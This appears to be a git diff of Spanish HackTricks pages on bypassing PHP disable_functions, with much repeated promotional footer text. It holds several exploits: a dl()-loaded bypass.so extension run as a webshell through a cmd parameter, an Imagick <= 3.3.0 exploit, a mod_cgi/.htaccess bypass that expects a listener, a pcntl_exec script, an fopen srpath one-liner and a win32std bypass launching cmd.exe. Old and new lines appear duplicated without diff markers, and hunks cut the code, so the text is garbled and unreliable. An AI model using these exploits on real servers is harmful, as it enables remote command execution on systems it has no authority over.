- Implementa la funcionalidad principal de la extensión personalizada.
- **php_bypass.h**:
- Archivo de encabezado que define las propiedades de la extensión.
- Archivo de encabezado, definiendo las propiedades de la extensión.
- **config.m4**:
- Utilizado por `phpize` para configurar el entorno de compilación de la extensión personalizada.
- Usado por `phpize` para configurar el entorno de construcción para la extensión personalizada.
### Compilación de la extensión:
### Construcción de la Extensión:
1. **Comandos de compilación:**
- Utiliza `phpize`, `./configure` y `make` para compilar la extensión.
- El archivo resultante `bypass.so` se encuentra en el subdirectorio de módulos.
1. **Comandos de Compilación:**
- Usa `phpize`, `./configure` y `make` para compilar la extensión.
- El resultado `bypass.so` se encuentra en el subdirectorio de módulos.
2. **Limpieza:**
- Ejecuta `make clean` y `phpize --clean` después de la compilación.
### Subida y ejecución en el host víctima:
### Carga y Ejecución en el Host Víctima:
1. **Compatibilidad de versiones:**
- Asegura que las versiones de la API de PHP coincidan entre el sistema del atacante y el de la víctima.
1. **Compatibilidad de Versiones:**
- Asegura que las versiones de API de PHP coincidan entre los sistemas del atacante y de la víctima.
2. **Carga de la extensión:**
- Utiliza la función `dl`, eludiendo las restricciones mediante el uso de rutas relativas o un script para automatizar el proceso.
2. **Carga de la Extensión:**
- Utiliza la función `dl`, eludiendo restricciones mediante el uso de rutas relativas o un script para automatizar el proceso.
3. **Ejecución del script:**
- El atacante sube `bypass.so` y un script de PHP al servidor de la víctima.
3. **Ejecución del Script:**
- El atacante sube `bypass.so` y un script PHP al servidor de la víctima.
- El script utiliza la función `dl_local` para cargar dinámicamente `bypass.so` y luego llama a `bypass_exec` con un comando pasado a través del parámetro de consulta `cmd`.
### Ejecución de comandos:
### Ejecución de Comandos:
- El atacante ahora puede ejecutar comandos accediendo a: `http://www.ejemplo.com/script.php?cmd=<comando>`
- El atacante ahora puede ejecutar comandos accediendo a: `http://www.example.com/script.php?cmd=<command>`
Esta detallada guía describe el proceso de creación e implementación de una extensión de PHP para ejecutar comandos del sistema, explotando la función `dl`, la cual idealmente debería estar deshabilitada para prevenir brechas de seguridad de este tipo.
Este recorrido detallado describe el proceso de creación y despliegue de una extensión de PHP para ejecutar comandos del sistema, explotando la función `dl`, que idealmente debería estar deshabilitada para prevenir tales brechas de seguridad.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
# Exploit de Imagick &lt;= 3.3.0 PHP &gt;= 5.4
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
@ -65,16 +66,17 @@ $thumb->destroy();
echo file_get_contents($data_file);
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# mod\_cgi
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
// Only working with mod_cgi, writable dir and htaccess files enabled
@ -55,16 +56,17 @@ echo "Executing the script now. Check your listener <img src = 'shell.dizzle' st
}
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
$dir = '/var/tmp/';
@ -39,16 +40,17 @@ echo '不支持pcntl扩展';
}
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Bypass de Disable Functions en PHP 5.2 - FOpen Exploit
# PHP 5.2 - FOpen Exploit
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Bypass de Protecciones de PHP 5.2.3 - Win32std ext
# PHP 5.2.3 - Bypass de Protecciones de Win32std ext
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
@ -39,16 +40,17 @@ system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
